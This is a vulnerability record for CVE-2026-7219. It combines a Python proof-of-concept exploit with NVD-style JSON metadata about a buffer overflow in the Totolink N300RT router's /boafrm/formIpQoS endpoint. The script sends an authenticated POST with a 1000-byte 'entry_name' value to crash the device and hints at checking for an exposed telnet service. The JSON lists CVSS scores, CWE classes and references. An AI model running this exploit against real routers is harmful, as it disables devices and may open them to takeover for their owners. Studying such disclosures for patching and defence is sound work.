CVE-2026-7219

import requests # Target URL configuration target_ip = "192.168.1.1" target_url = f"http://{target_ip}/boafrm/formIpQoS" # Headers - Authentication is required (PR:H) # Replace with valid cookie obtained after login headers = { "User-Agent": "Mozilla/5.0", "Cookie": "uid=123412341234" } # Buffer Overflow Payload # Filling 'entry_name' with a large pattern to trigger the crash # Offset needs to be adjusted based on specific firmware analysis buffer = b"A" * 1000 # Form data structure typically used in these devices payload_data = { "entry_name": buffer.decode('latin-1'), "submit-url": "/index.htm", "action": "Add" } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, headers=headers, data=payload_data, timeout=5) if response.status_code == 200: print("Request sent. Check if the device has crashed or telnet service is available.") else: print(f"Unexpected status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-7219", "sourceIdentifier": "[email protected]", "published": "2026-04-28T04:16:23.327", "lastModified": "2026-04-28T20:24:58.820", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in Totolink N300RT 3.4.0-B20250430. This affects an unknown function of the file /boafrm/formIpQoS. Executing a manipulation of the argument entry_name can lead to buffer overflow. The attack may be performed from remote. The exploit has been published and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:C/I:C/A:C", "baseScore": 8.3, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 6.4, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://github.com/xiaohaiyang-ai/IoT-Vulnerability-Research/tree/main/Vendors/TOTOLINK/N300RT/formIpQoS-Bof", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/808194", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359819", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359819/cti", "source": "[email protected]"}, {"url": "https://www.totolink.net/", "source": "[email protected]"}]}}